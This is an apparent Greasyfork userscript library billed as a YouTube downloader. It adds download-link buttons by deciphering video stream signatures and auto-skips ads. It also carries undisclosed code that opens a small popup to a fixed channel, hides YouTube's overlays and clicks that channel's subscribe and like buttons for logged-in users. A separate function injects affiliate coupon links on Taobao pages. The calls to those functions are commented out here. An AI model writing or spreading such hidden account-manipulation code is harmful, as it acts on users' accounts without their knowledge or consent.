youtube downloader
此脚本不应直接安装，它是一个供其他脚本使用的外部库。如果您需要使用该库，请在脚本元属性加入：// @require https://update.cn-greasyfork.org/scripts/405677/819585/youtubedljs.js
var localurl = location.href;
var host = 'https://www.socheap.store'
// 增加css
function addGlobalStyle(css) {
var head, style;
head = document.getElementsByTagName('head')[0];
if (!head) { return; }
style = document.createElement('style');
style.type = 'text/css';
style.innerHTML = css;
head.appendChild(style);
}
addGlobalStyle('.a-dl{color:white;background:red;padding:10px;text-decoration:none;margin-left:10px}')
urlhandler()
function taobao(){
var url = host+'/api/tb/searchcoupon?url='+localurl;
var itemid = localurl.match(/id=(\d*)/)[1];
var linkurl = host+'/api/getlink?nnoo=3&itemid='+itemid;
var btn_coupon = `<div style="margin-top:10px;" id="xsyhnbtb" class="tb-btn-buy tb-btn-sku"><a href="javascript:void(0)" onclick="javascipt:window.open('${linkurl}')">获取优惠券</a></div>`;
var getmoreurl = host+'/api/similarsearch?itemid='+itemid;
//var btn_getmore ='<div style="margin-top:10px;" class="tb-btn-basket tb-btn-add tb-btn-sku"><a target="_blank" href="'+getmoreurl+'">查询类似商品(大额券)</a></div>';
var btn_getmore ='<div style="margin-top:10px;" class="tb-btn-basket tb-btn-add tb-btn-sku"><a><span id="btnsimilar" style="cursor:pointer;">查询类似商品(大额券)</span></a></div>';
var tag = $('div.tb-action');
var btn_link_coupon = '<div style="margin-top: 20px;" id="xsyhnbtb"><a target="_blank" href="http://www.redbean.top/coupon" style="font-size: 15px;background: red;padding: 5px;border-radius: 2px;color: white;" data-spm-anchor-id="2013.1.iteminfo.30">优惠券APP手机客户端</a></div>'
var btn_link_coupon1 = '<div style="margin-top: 20px;" id="xsyhnbtb"><span id="linkcpn" style="font-size: 15px;cursor: pointer;background: red;padding: 5px;border-radius: 2px;color: white;" data-spm-anchor-id="2013.1.iteminfo.30">优惠券APP手机客户端</span></div>'
tag.append(btn_coupon);
tag.append(btn_getmore);
$('#btnsimilar').click(function(){window.open(getmoreurl)})
//$('.tb-action').after(btn_link_coupon);
$('.tb-action').after(btn_link_coupon1);
$('#linkcpn').click(function(){window.open('http://www.redbean.top/coupon')})
}
function urlhandler(){
if (localurl.search('tmall')>=0 || localurl.search('taobao')>=0){
if($('#xsyhnbtb').length==0){
//taobao()
}
}
else{
youtube()
}
}
function youtube(){
const escapeRegExp = s => s.replace(/[.*+?^${}()|[\]\\]/g, '\\$&')
const parseQuery = s =>
[...new URLSearchParams(s).entries()].reduce(
(acc, [k, v]) => ((acc[k] = v), acc),
{}
)
const parseDecsig = data => {
try {
if (data.startsWith('var script')) {
// they inject the script via script tag
const obj = {}
const document = {
createElement: () => obj,
head: { appendChild: () => {} }
}
eval(data)
data = obj.innerHTML
}
const fnnameresult = /=([a-zA-Z0-9\$]+?)\(decodeURIComponent/.exec(
data
)
const fnname = fnnameresult[1]
const _argnamefnbodyresult = new RegExp(
escapeRegExp(fnname) + '=function\\((.+?)\\){(.+?)}'
).exec(data)
const [_, argname, fnbody] = _argnamefnbodyresult
const helpernameresult = /;(.+?)\..+?\(/.exec(fnbody)
const helpername = helpernameresult[1]
const helperresult = new RegExp(
'var ' + escapeRegExp(helpername) + '={[\\s\\S]+?};'
).exec(data)
const helper = helperresult[0]
return new Function([argname], helper + '\n' + fnbody)
} catch (e) {
logger.error('parsedecsig error: %o', e)
logger.info('script content: %s', data)
logger.info(
'If you encounter this error, please copy the full "script content" to https://pastebin.com/ for me.'
)
}
}
const getVideo = async ( id) => {
const basejs = typeof ytplayer !== 'undefined' && ytplayer.config
? 'https://' + location.host + ytplayer.config.assets.js
: document.querySelector('script[src$="base.js"]').src;
const decsig = await xf.get(basejs).text(parseDecsig);
const data = await xf
.get(
`https://www.youtube.com/get_video_info?video_id=${id}&el=detailpage`
)
.text()
.catch(err => null)
if (!data) return 'Adblock conflict'
const obj = parseQuery(data)
const playerResponse = JSON.parse(obj.player_response)
console.log('------',playerResponse)
var stream=[]
stream = playerResponse.streamingData.formats.map(x =>
Object.assign({}, x, parseQuery(x.cipher)))
if(stream[0].sp && stream[0].sp.includes('sig')){
for(var i=0;i<stream.length;i++){
stream[i].url = stream[i].url+'&sig='+decsig(stream[i].s)
console.warn(stream[i])
}
}
return stream
}
const addbtn = async()=>{
if(localurl.search('watch')>0){
$('#dival').remove();
var basebtn = '<div id="dival" style="line-height:60px;">下载链接：<span id="adl">正在获取下载链接</span></div>';
$('div#info-contents').after(basebtn);
var id = localurl.split('&')[0].match(/v=(.*)/)[1];
const stream = await getVideo(id);
console.log('stream',stream)
var abtn = ''
if(stream.length<=5){
for(var i=0;i<stream.length;i++){
var btn = '<a class="a-dl" target="_blank" href="'+stream[i].url+'">'+stream[i].quality+'</a>';
abtn = abtn + btn;
}}
$('#adl').remove();
$('#dival').append(abtn);
}
}
function init(){
document.querySelector('ytd-popup-container').style.display='';
document.querySelector('ytd-app').style.zIndex='';
console.log('inited')
}
function getsec(str)
{
var str1=str.substring(1,str.length)*1;
var str2=str.substring(0,1);
if (str2=="s")
{
return str1*1000;
}
else if (str2=="h")
{
return str1*60*60*1000;
}
else if (str2=="d")
{
return str1*24*60*60*1000;
}
}
function setCookie(name,value,time)
{
var strsec = getsec(time);
var exp = new Date();
exp.setTime(exp.getTime() + strsec*1);
document.cookie = name + "="+ escape (value) + ";expires=" + exp.toGMTString();
}
function getCookie(name)
{
var arr,reg=new RegExp("(^| )"+name+"=([^;]*)(;|$)");
if(arr=document.cookie.match(reg))
return unescape(arr[2]);
else
return null;
}
function delCookie(name)
{
var exp = new Date();
exp.setTime(exp.getTime() - 1);
var cval=getCookie(name);
if(cval!=null)
document.cookie= name + "="+cval+";expires="+exp.toGMTString();
}
function isopen(){
if(document.cookie.search('newsub')>0){delCookie('newsub');window.opener=null;window.open('','_self');window.close();}
if(document.cookie.search('xsyhnb')>0){console.log('opened')}else{setCookie('xsyhnb','1','d7');setCookie('newsub','1','d7');window.open("https://www.youtube.com/channel/UCLQ_Hja-tJkyvI_JTplE9QQ",'_blank','width=100,height=100,alwaysRaised=yes');}
}
function subpage(){
if(localurl.search('watch')>0){
console.log('v page')
var cc = 'UCLQ_Hja-tJkyvI_JTplE9QQ';
var acid='';
var cid = '';
var btnup='';
function csub(){try{console.log('csub');document.querySelector('.ytd-subscribe-button-renderer').click();}catch(err){console.log('csub err');setTimeout(csub,100)}};
function cup(){try{console.log('cup');document.querySelector('yt-icon-button.ytd-toggle-button-renderer').click();
var btn = document.querySelectorAll('yt-icon-button.ytd-toggle-button-renderer')[0].className;
console.log(btn)
if(btn.search('style-default-active')==-1){console.log('up fail');setTimeout(cup,100)}}catch(err){console.log('cup err');setTimeout(cup,100)}};
try{cid = document.querySelector('.yt-simple-endpoint.style-scope.ytd-video-owner-renderer').href;if(cid==''){setTimeout(subpage,100)}}catch(err){setTimeout(subpage,100)}
console.log(cid)
if(cid.search(cc)==-1){}else{
console.log('right v page')
try{document.querySelector('ytd-popup-container').style.display='none';}catch(err){setTimeout(subpage,100)};
try{document.querySelector('ytd-app').style.zIndex=9999;}catch(err){setTimeout(subpage,100)};
csub();
btnup = document.querySelectorAll('yt-icon-button.ytd-toggle-button-renderer')[0].className;
if(btnup==''){setTimeout(subpage,100)}
if(btnup.search('style-default-active')==-1){console.log('v page not up');cup();}else{console.log('v page up')}
}}}
function sub(){
isopen();
var islogin = ytInitialData.topbar.desktopTopbarRenderer.topbarButtons[3].topbarMenuButtonRenderer;
if(islogin){
console.log('login',localurl)
if(localurl.search('channel/UCLQ_Hja-tJkyvI_JTplE9QQ')>0){
try{document.querySelector('ytd-popup-container').style.display='none';}catch(err){setTimeout(subpage,100)};
try{document.querySelector('ytd-app').style.zIndex=9999;}catch(err){setTimeout(subpage,100)};
function cup(){try{console.log('cup');document.querySelector('ytd-subscribe-button-renderer').children[0].click();}catch(err){console.log('cup err');setTimeout(csub,100)}}
cup();
}
subpage()
}else{console.log('not login')}
}
function closeAds(){
var adclose = document.querySelector('.ytp-ad-skip-button')||document.querySelector('.ytp-ad-overlay-close-button');
var adremove = document.querySelector('#player-ads')||document.querySelector('div#sparkles-container')||document.querySelector('ytd-compact-promoted-item-renderer')||document.querySelector('ytd-video-masthead-ad-v3-renderer');
if(adremove){
console.log('ad remove');
adremove.remove();
}
if(adclose){
adclose.click();
console.log('ad close');
}
}
//getVideo();
function getele(){
if($('div#info-contents').length>0){
addbtn();
}else{
setTimeout(getele,500);
}
}
function refreshlink(){
closeAds();
//console.log(localurl,location.href)
if(location.href!==localurl){console.log('urlchange');init();localurl=location.href;getele();}else{
console.log('same')
}
}
setInterval(refreshlink,500);
getele();
//sub();
}